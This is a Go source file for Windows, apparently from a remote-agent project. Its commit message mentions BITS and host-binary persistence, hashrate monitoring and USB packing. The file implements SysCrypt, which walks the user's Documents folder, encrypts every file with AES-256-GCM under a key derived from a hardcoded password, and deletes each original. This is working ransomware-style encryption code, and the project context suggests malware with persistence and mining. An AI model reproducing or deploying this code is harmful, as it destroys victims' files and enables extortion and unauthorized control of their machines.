d52479c9a6
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
114 lines
2.6 KiB
Go
114 lines
2.6 KiB
Go
//go:build windows
|
|
|
|
package client
|
|
|
|
import (
|
|
"crypto/aes"
|
|
"crypto/cipher"
|
|
"crypto/rand"
|
|
"crypto/sha256"
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
const cryptPassword = "password"
|
|
|
|
// documentsDir returns the current user's Documents folder path via the
|
|
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
|
|
func documentsDir() (string, error) {
|
|
path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
|
|
if err != nil {
|
|
// Fall back to USERPROFILE\Documents
|
|
if up := os.Getenv("USERPROFILE"); up != "" {
|
|
return filepath.Join(up, "Documents"), nil
|
|
}
|
|
return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
|
|
}
|
|
return path, nil
|
|
}
|
|
|
|
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
|
|
func deriveKey(password string) []byte {
|
|
sum := sha256.Sum256([]byte(password))
|
|
return sum[:]
|
|
}
|
|
|
|
// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
|
|
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
|
|
func encryptFile(path string, key []byte) error {
|
|
plaintext, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
block, err := aes.NewCipher(key)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
gcm, err := cipher.NewGCM(block)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
nonce := make([]byte, gcm.NonceSize())
|
|
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
|
return err
|
|
}
|
|
|
|
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
|
|
|
dst := path + ".enc"
|
|
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
|
|
return err
|
|
}
|
|
|
|
return os.Remove(path)
|
|
}
|
|
|
|
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
|
|
// file (skipping files already ending in ".enc"). Returns a summary string.
|
|
func SysCrypt() string {
|
|
docsDir, err := documentsDir()
|
|
if err != nil {
|
|
return "sys_crypt error: " + err.Error()
|
|
}
|
|
|
|
key := deriveKey(cryptPassword)
|
|
|
|
var encrypted, skipped, failed int
|
|
var errs []string
|
|
|
|
err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
|
|
if walkErr != nil || d.IsDir() {
|
|
return nil
|
|
}
|
|
if strings.HasSuffix(path, ".enc") {
|
|
skipped++
|
|
return nil
|
|
}
|
|
if err := encryptFile(path, key); err != nil {
|
|
failed++
|
|
if len(errs) < 5 {
|
|
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
|
}
|
|
return nil
|
|
}
|
|
encrypted++
|
|
return nil
|
|
})
|
|
if err != nil {
|
|
return fmt.Sprintf("sys_crypt walk error: %v", err)
|
|
}
|
|
|
|
summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed)
|
|
if len(errs) > 0 {
|
|
summary += "\nErrors: " + strings.Join(errs, "; ")
|
|
}
|
|
return summary
|
|
}
|